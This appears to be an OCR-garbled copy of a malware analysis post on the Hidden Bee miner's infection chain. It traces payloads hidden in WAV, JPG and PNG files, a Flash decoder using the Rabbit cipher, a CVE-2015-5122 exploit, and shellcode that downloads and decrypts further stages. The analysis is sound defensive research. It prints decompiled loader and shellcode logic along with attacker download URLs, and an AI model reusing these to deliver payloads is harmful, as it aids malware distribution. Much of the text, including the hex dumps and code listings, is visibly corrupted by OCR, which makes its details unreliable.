@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

About a year ago, we described the Hidden Bee miner delivered by the Underminer Exploit Kit.

Hidden Bee has a complex and multi-layered internal structure that is unusual among cybercrime toolkits, making
it an interesting phenomenon on the threat landscape. That’s why we’re dedicating a series of posts to exploring

particular elements and updates made during one year of its evolution.

Recently, we decided to revisit this interesting miner, describing its loader that starts the infection from a single

malicious executable. This post will present an alternative loader that is deployed when the infection starts from
the Underminer Exploit Kit. It is analogous to the loader we described in the following posts from 2018: [1] and

[2].
The dropped payloads: an overview

The first time we spotted Hidden Bee, it started the infection from a flash exploit. It downloaded and injected two
elements with WASM extensions that in reality were executable modules in a custom format. We described them

in detail here.

[Zl 250 200 HTTP 103.35.72.223  rtfamjt1p9970aasco 1ls29dI0hbe. wasm 7768 application/... iexplore:1588
200 103,35.72.223  fgit/wiki.asp?id =8b4c608145b539 1bda50029f 73823034 ] dllhost: 1496

—_— -

200 103.35.72.223  [git/glfin.wasm 20722 application/... dlhost:1496

Those elements were the initial loaders, responsible for initiating the infection chain that at the end installed the

miner.

Nowadays, those elements have changed. If we take a look at the elements dropped by the same EK today, we will

no longer find those WASM extensions. Instead, we encounter various multimedia files: a WAV (alternatively two
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WAV5s), a JPEG, and a PNG.

% 262 200 HTTP [staticfencrypt.min.js 16 231 textfiavasc... iexplore:3538
%263 200 HTTF [etatic/tinyjs.min.js 4215 textfjavasc... iexplore:3588
% 264 200 HTTP fisfs9a350%i 111f1sjumgsvegs 5c.js 47 textfjavasc... iexplore:3588
@ 265 200 HTTP fviews fvqgidielbhvvpn4sddfnsndgbd. hitml 6928 textfjavasc... iexplore:3588
€¥266 200 HTTF fpubs farticde.phpfid=03e6c47cd44a5b6 2850276 7298 0eed 54 297 textfhiml; c... iexplore: 3588
€¥267 200 HTTP fviews f4fmbfegtvdtef1203vunbhtrrd, html 419 texthiml; c... iexplore:3588
268 200 HTTP fuiews if3cdpqdfps luavrignsfv4s.awf 115972 application/... iexplore:3588
ﬂ 269 200 HTTF fuiewsfmarihvktfuce8la0hkirOoels. wav 35852 audiofwav iexplore: 3588
ﬂ 27 200 HTTP fviews nb3rdidp7 Agol 7haghadtcdpg. wav 48 852 audiofwav iexplore: 3588
IZl 271 200 HTTP Jviews/phomasn2s58h6mmS5d2 1ehfcas. jpa 157 590 imagefijpeg dllhost: 544
HTTP fimages fcaptcha.png?mod=attachmentfu =ed 1b6cd 76c12 1c2d08a15b6f82dc 1663 imagepng regsvr32:29438

The WAV files are downloaded by iexplore.exe, the browser where the exploit is run. In contrast, the images are
downloaded at later stages of infection. For example, the JPG is always downloaded from the dllhost.exe process.

The PNG is often downloaded from yet another process.

In some runs, we observed the PNG to be downloaded instead of the JPG:

73 200 HTIP  jfviews/bd2286mdrgSstohkplrvm2uclg. swf 102 498 application/x-shockwave-flash  iexplore: 1720 [#109]
[M74 302 HTTP  /fwiink/?LinkId=68928 a msfeedseync: 3256 [#110]
€75 200 HTTP  jathome/community/rss.xml 0 text/html msfeedssync: 3256 [#111]
ﬁ 76 HTTP  jviews/e8m&8dui3Seqdighricdmn4vgs. wav 8 8 audiofwav iexplore: 1720 [#117]
El77 200 HrP J/pubs/wiki.php?id=1ad51d 105 1a008deeea448cafcceddb3 a dllhost: 3932 [#113]
& 7& 200 HTTP  ieonlinews.micosoft.com: 443 739 msfeedssync: 3256 [#114]

HTTP aptcha.png?mod=attachment&u=13103ee8e 1ca 20434056 52a3d 3ebcbed 26 707 imagefpng dllhost: 3932 [#115]

We will start our journey of Hidden Bee analysis by looking at these files. Then, we will move to see the code

responsible for processing them in order to reveal their hidden purpose.

The roadmap of the full described package:
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¥ unpack an executable in a
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core.sdb package
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an executable in a shellcode
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Downloading the next
stage

sltpuidns. howtocom.site:1108/minimal bin?id=098&
sltp/bbs.favcom.space:1108/5etup.bin?id=999

Irdx custom filesystem

The downloaded WAV

The WAV file sounds like grey noise, and we suspect that it is meant to hide some binary belonging to the

malware.
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Page 232 of 265



https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

The data is unreadable, probably encrypted or obfuscated:

E kollildpsd uBotus8ldderhl mg.wav

Cffset(h) 00 01 02 03 04 05 06 07 08 09 0& OB OC OD OE OF

Q0000000 FE 49 46 46 D4 BE 00 00 57 41 56 45 &6 6D 74 20 EIFFﬁI..WA?Efmt

Q0000010 10 OO0 OO OO0 01 OO0 O1 OO0 80 3E OO0 OO0 00 7D 00 00 ........ €x...} ..
00000020 02 00 10 00 &4 &1 74 &1 BO BE 00 00 BE 5B 87 BT ....data"I..q9[%-
Q00000030 49 9F 03 6E 39 13 7R SE 7B 82 5F 2D 1E C8& B2 D4 Ii.ng.zi{,_—.ﬁ‘é
00000040 69 8E 63 23 BD FA E2Z 87 CS A8 63 B3I ED 51 9B FO iZc# td:L ciiQ»d
00000050 1B 74 7D 7D E6 28 DC OD 1D 56 10 50 8E 1F 56 €9  .tire&(0..v.PE.VE
00000060 3C 5D B4 54 DS 14 03 11 4A 1F 15 69 7C 40 8C 07 <] TH...J..i|@s.
Q0000070 17 7B 46 DD 71 60 78 85 AR 3E TF C4 6A FE 00 26 .{F?q‘xm$>.ﬁj§.&
00000080 3E 43 06 94 16 24 2B D9 89 3B 02 21 92 E0 1R 48 >C.~.8+0%:.17%.H

We also found a repeating pattern inside, which looks like an encrypted padding. The size of the chunk is 8 bytes.

000OTAFO 18 71 &D 4A 3D 03 E4 C8 86 OF F5 BE &F CD EE 5A .gmd=.&Ct.d,oliz
00007BO0 13 06 54 TF 7A CE F9 9B SE 63 08 38 TA CE F9 9B ..T.zId»"c.8zId»

00007810 BEIEIECIRERE R SE €3 08 38 7A CE F9 9B [c.gzind c.gzid»

0000TB20 SE 63 08 38 7TA CE FO 9B S5E 63 08 38 7A CE F9 9B  “~c.8zid»*c.82zid»
00007830 5E 63 08 38 TA CE F9 9B 5E 63 08 38 7A CE F9 3B ~c.szid»~c.szid»
00007B40 5E 63 08 38 TA CE F9 9B 5E 63 08 38 TA CE F9 2B ~e.gzid»c.gzid:

This time, using the repeating pattern as an XOR key didn’t help in getting a readable result, so probably some

more complex block cipher was used.
The JPG

Below is a sample JPG, downloaded from the URL in the format: /views/[unique_string].jpg

In contrast to the WAV content, the JPG always looks like a valid image. (Interestingly, all the JPGs we observed
have a consistent theme of manga-styled girls.) However, if we take a closer look at the image, we can see that

some data is appended at the end.
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Transformer | Headers | Textview | SyntaxWiew ||Image'l.|"|ew | HexView | WebView | Auth
Caching | Cookies | Raw | 3sON | xmL |

Format: JFEG
156 005 bytes

252w x 352h

1,76 bytes/px

96 dpi

Baseline
Subsample@4:2:0

APPO Data (22 bytes)
JFIF1.1]

DPI: 56

APP1 Data (Edf, 56 bytes)

MALFORMED: (EERGEbytes after final
|segment.

HuffmanTables: 4

Let’s analyze the JPG and try to extract the payload.

First, I opened the image in a hexeditor (i.e. HxD). The size of the full image is 156,005 bytes. The last 118,762
bytes belong to the malware. So, we need remove the first 37,243 bytes (156,005-118,762=37,243) in order to get
the payload.

] jpg_payload.bin

Cffset(h) 00 01 02 03 04 05 06 07 08 05 0OA OB OC OD QE OF

Q0000000 C4 97 86 9D OF 2A E4 ES FE E9 9D E6 33 BE DE A0 %—16.*&i§qté3w1
00000010 1D 1D E4 03 05 74 20 F3 FD DF 29 DD E& ED 20 BO ..&..T &yBRYEL °

00000020 3E 9B 91 GE 9D 96 02 F5 55 E9 ES ES ES ES ES ES »»'mt-.aUeiiiiil
00000030 9D E9 ES5 ES5 ES5 ES ES ES5 D4 25 A5 75 Ea 61 B3 Eo  eeiiiiiidsaneazs
00000040 ES5 E5 OD E1 E5 E5 ES EA E5 85 E9 BD 85 81 6E Do ii.diiiei &~ .m®
00000050 DS ES ES ES5 BE7 B4 BS B3 0D Rl ES ES ES 84 26 6 Oiii--pz.-iii.zn
00000060 Bl C1 E1 6E Al C1 E9 B3 6E 91 C1 E9 B2 &8 D9 E7 +han-Aséin Aé nlg

00000070 ER 52 E7 A7 A7 &6 1D R4 9% ED 66 1D BF 8& E6 66 eRgSSL.E™if.z3cf

The payload does not look like a valid code, so it is probably obfuscated. Let’s try the easiest option first and see

if there are any candidates for the XOR key. We can see that the payload has padding at the end:
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E Ipg_payload.bin

offsec(h) 00 01 02 03 04 05 06 O7 OB 09 OR OB OC OD OE OF
0001CFBO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiifiii
0001CFCO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiididifdifiiiii
0001CFDO ES5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 E5 iiiiiiidiifdidiiiii
0001CFED E5 E5 E5 E5 E5 E5 E5 E5 ES5 ES iiidiiididii

Let’s try to apply the repeating character (in the given example it is 0xE5) as an XOR key. This is the result

(1953032199142ea8c5872107da8f2297):

@ out.kin

offset (h) 00 01 02 03 04 05 06 OT7 08 09 OR OB OC OD OE OF

00000000 EE=eD. . . \x.0%E
00000010 f¥.&f L..:18..10
00000020 Uretexsg.®onnn..
000000350 Hewennn 1RE. ..V
00000040 - S “.X'd¢5
00000050 0...RQPVED. . .al
00000060 T$.<DE.Vets. W<,
00000070 . ".BE.FRL|..¥Z...
00000080 & .-.FF.G&]..42.
00000090 A opws.pAch +A0
000000R0 AU<E.EL«E.5VI<D.
00000080 J1XSEfREIfRECERE

Repeating the experiment on various payloads, we can see that the result always start from the keyword !rcx . As

we know from analyzing other elements of Hidden Bee, the authors of this malware decided to use various custom

formats named after 64-bit Intel registers. We also encountered packages starting from

Irbx

and !rsi at different layers. So, this is the first element in the chain that uses this convention.

When we load the !rcx module into IDA, we can confirm that it contains valid code. More detailed explanation

about the

Irex

format will be given later on in this article.
The PNG

Let’s have a look at a sample PNG, download from the “captcha.png” (URL format: ):

Page 235 of 265


https://malshare.com/sample.php?action=detail&hash=1953032199142ea8c5872107da8f2297
https://blog.malwarebytes.com/blog/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/x64-architecture

https://blog.malwarebytes.com /threat-analysis/2019,/08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Transformer Headers | TextView Syntax\iew ImageView | HexView
WebView Auth Caching Cookies Raw 1S0M ¥ML

Format: PNG
26 707 bytes

B2w x 82h

3,597 bytes/px

96 dpi

Color: RGB+Alpha 8bits/sample

Autoshrink -

Although it is a PNG in a valid format, it looks like noise. It probably represents bytes of some encrypted data. An
attempt of converting PNG to raw bytes didn’t give any readable results. We need to analyze the code in order to

discover what it hides.

Code analysis: the initial SWF file

The initial SWF file is embedded on the website and responsible for serving the exploit. If we look inside it, we
will not find anything malicious at first. However, among the binary data we can find another suspicious WAV as

an audio asset:

U dts890lkung 1 AME36 A na 280 swT ~
|| header 1
=4 hinaryData
— | DefineBinaryData {1: MyAudioAsset)
— | DefineBinaryData (2: com.google_2F_war_2F_folders_2|
— 1 DefineBinaryData (3: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (4: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (5: com.google_2F _war_2F_folders_2l
— | DefineBinaryData (6: com.goonle_2F_var_2F_folders_2l
— | DefineBinaryData (7: com.google_2F_war_2F_falders_2I
—a DefineBinaryData (8: com.gooale_2F _war_2F_folders_2I
The beginning of the file:
0ogaooaao 52 49 46 46 84 27 00 00 57 41 56 45 66 6D 74 20 RIFF " WAVEImEt
00000010 10 00 00 00 01 OO 01 00 B0 3E OO 00 00 7D OO 40 > 1
00000020 02 00 10 00 €4 61 74 61 &0 27 00 00 D4 12 EB D1 data ™" [v] &N
00000030 Bl 93 BAR C1 CB 21 587 1F 5C D1 4% S5F 80 75 R8 &7 “« FAE - \ﬁI_ u " g
00000040 5C B2 23 7C A9 F§ 36 SE 04 DD 37 D7 75 2B 10 1B W, # 1 ®8 8 ¥ 7 xu+
00000050 88 B4 BA C1 EB 22 73 64 EB7 BO 1D B8R 48 1n E1 38 " - fhE"sdi " 3 H g 8
00000080 L2 03 D4 27 54 SE F3 CB 46 F& 04 86 86 4F RS 25 ] Gr'1IT~0EFa 0¥ 3

This SWF file also contains a decoder for it:
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749 puklic static functicn Init({paraml:Displaylbjectlontainer) : woid
80 {

a1 var _loc3i_:5tring = null;

a2 var _loc4 :5tring = nmull:

a3 var _locS_rint = 07

a4 var _loct :ByteArray = null;

85 var _locT_:ByteArray = null:

26 var _loc2 :* = paraml.loaderInfc.parameters:

87 doc = paraml;

il platform_ = _loc2_["platiorm”]:

g if(platform_ == null)

a0 {

91 platform_ = "";

92 }

93 userhAgent = unescape( locd ["user”"]);

94 if (ExternalInterface.available)

a5 {

96 try

97 {

98 _loc3_ = .parent.AppUtils.getToken™) ;

Externallnterface.call {"parsent
95 _locd = ExternalInterface.call ("getialt

rent.AppUtils.getAppId™);

100 _loch_ = ExternalInterface.call ("Darent.p
101 _loce_ = setup(_loc3_ + _locd )

102 _loc7_ = new Myfmdiohsset() a3 BytehArray;
103 loader = decode(_loc7_, locé , locS , onMovieLoaded):
104 return;

105 }

1046 catch{e:Error)

107 {

108 return;

109 }

110 !

The function “decode” takes four parameters. The first of them is the byte array containing the WAV asset: That is
the content to be decoded. The second argument is an MD5 (the “setup” function is an MD5 implementation)
made of concatenation of the Appld and the AppToken: That is probably the encryption key. The third parameter

is a salt (probably the initialization vector of the crypto).

The salt is fetched from the HTML page, where the Flash component is embedded:

[=] F5miiSngsdgSpbfbe2i2if Bt4 html E3 |

1 <html>

2 <body>

3 <script tyvpe="text/javascript">

4 = function getSalt () {

& return "1mQREFFGabdecdaB";

6 r }

7 - </script>

8 E <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">

g = <object classid="glsid:D27CDEGE-AEGD-11cf-96B8-444553540000" type="application/x-shogkwayve-flas
10 <param name="movie" value="/views/dts8%lkungl54t636tdna2viyg.gyf"></param>

11 <param name="allowScripthAccess" value="always"></param>

12 <embed src="/views/dts89%lkungl54t636tdna?vBg.syf" allowScriptAccess="always" tyvpe="applica
13 - </object>

14 r </div>

15 - </body>

16 = </html>

Alternative case: two WAV files
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Sometimes, rather than embedding the WAV containing the Flash exploit, authors use another model of delivering
it. They store the URL to the WAV, and then they retrieve the file.

In the below example, we can see how this model is applied to Hidden Bee. The salt, along with the WAV URL,
are both stored in the Javascript embedded in the HTML:

i <html>

Z <body>

3 <gcript type="text/javascript"»

4 function getSalt(){

5 return "zACOBCcodSTBCKYTU1Z™;

€ }

7 function getAudiocResource () {

8 return "sviews/r52bSmlkl0vltcZ0tf4akl45cad wav";

B }

10 </acript>

11 <div style="position:fixed; top:50%; left:50%; margin-left:-300; margin-top:-200;">
1z <pbject classid="clsid:DZTCDBEE-REED-1lcf-56BE-444553540000" type="application/x-shockwave-
B flash" id="gwi" date="/views/sd3olBisf844jsg3ocegoadtjuid.swi">
13 <param neme="movie" wvelue="/views/sd2cl8fs844jagi3cegoadtjuid.swi"></param>
14 <param neme="allowScriptlccess" walue="always">< /param>
15 <embed src="/views/ad3clZfs844jsgicegoadtiuid.swi” zllowScripticcess="always" type="
= application/x-shockwave-flash"></embed>
1& </ocbkject>
17 </div>
h:] </body>
iz </html>

The Flash file first loads it and then decodes as the next step:

userAgent unescape (_loc2 ["user"]):;

urlloader = new URLLoader():

urlloader .dataFormat = URLLoaderDataFormat.BINARY:
urlloader .addEventListener(Event.COMPLETE,onLoaded):
if(ExternallInterface.available)

i
try
{
_loc3_ = Externallnterface.call("parent.parent.hppltils.getToken");
_loc4 = Exrternallnterface.call("gst3alt™);
_locs = ExternalInterface.call{"getiudioResource™):;
algo = ExternallInterface.call{"parent.parent.2ppltils.gethAppId™)y !
cryptoBey = setup(_loc3  + locd ) !
if{ loc5_.length > 0}
{
urlloader .addEventlListener (ICErrorEvent.IC ERROR,onLoadError);
urlloader .load(new URLEequest(_locs )}
}
retarn;
i
catch(e:¥)
{
retarn;
¥

Looking at the traffic capture, we can see that in this case, not one, but two WAV files are downloaded:

e e s e s b o i e 8 £ £ i P cer e ey mr e e
HTTP 38,75.137.9:9088  jviews/vpriadgfb 1fpj7ue76v 2p47u3g.himl private. .. iexplore: 2028
P17 200 HTTP 38,75.137.9:9088  jviews/sd30l8fs844isq30egoadtjuid.swf 115062 private... application/... iexplore:2023
ﬂ 198 200 HTTP 38,75.137.9:9088  jviews/r52b5m 1k0v 1t20tM4akl45c94. wav 35880 private... audiofwav iexplore: 2025
ﬂ 199 200 HTTP 38.75.137.9:9088  jviews/qa0tgpp2ub4bcarl0jSuZroaac. way 43 852 private... audiofwav iexplore: 20258
|:| 200 200 HTTP 38.75.137.9:9088 fviews/fiev4sra210s3f688r218bcteok.jpg 156 005 private... imagejpeg dihost: 2576
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The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as
one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the

available algorithms:

private static fonection onlLoaded(paraml:Ewvent) : woid

i
urlloader .removeEventListener (Event.COMPLETE,onLoaded) ;
urlloader .addEventlListener (IOErrorEvent.IO ERROR,onLoadError):
var readData:ByteArray = urlloader .data as BytelArray;
loader = decode (readData,cryptoley ,algo,onMovieloaded) ;

|

We can see that the expected content is a Flash file that is then loaded:

private static function onMovielLoaded (paraml:Ewvent) : voild

{
loader .contentLoaderInfo.removeEventListener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip (paraml.currentTarget.content) ;
doc .addChild (newClip) ;

The “decode” function

The function “decode” is imported from the package “com.google”:

94 getlocal 5
95 getlex (name (PackageNamespace (""), "onMovieLoaded"™)
98 kallproperty Oname (Packagelamespace ("com. google™) , "decode") 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

[ ActionSeript source
com.google.decode

|

WARNING: The code decompilation contains §§ instructions. This is usually caused by an obfuscation (See Settings/Automatic deobfuscation) or a nonstandard compiler used (Haxe, etc.).

1 backage com.google

2 {

3 import avm2.intrinsics.memory.lilé;

4 import avm2.intrinsics.memory.li32;

5 import avm2.intrinsics.memory.lif;

[ import avm2.intrinsics.memory.silé;

7 import avm2.intrinsics.memory.si32;

8 import avm2.intrinsics.memory.sif;

9 import com.google 2F var 2F folders 2F z4 2F jk5tsd6l3nsBhpppmxkve65m0000gn_2F T 2F 2F cculOwla 2E_lto 2E be 3R 2210E4FB_2D 444B 20 45E7_
10 import flash.display.Loader:

11 import flash.aystem.ApplicationDomain:

12 import flash.ayatem.LoaderContext:

13 import flash.utila.ByteArray:

14

15 public function decode (paraml:ByteArray, param?:Bytelrray, param3:int, paramé:Function) : Loader
16 {

Looking at the decompiled code, we see some interesting constants. For example, —889275714 in hex is
0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT _process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11{f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.
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if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
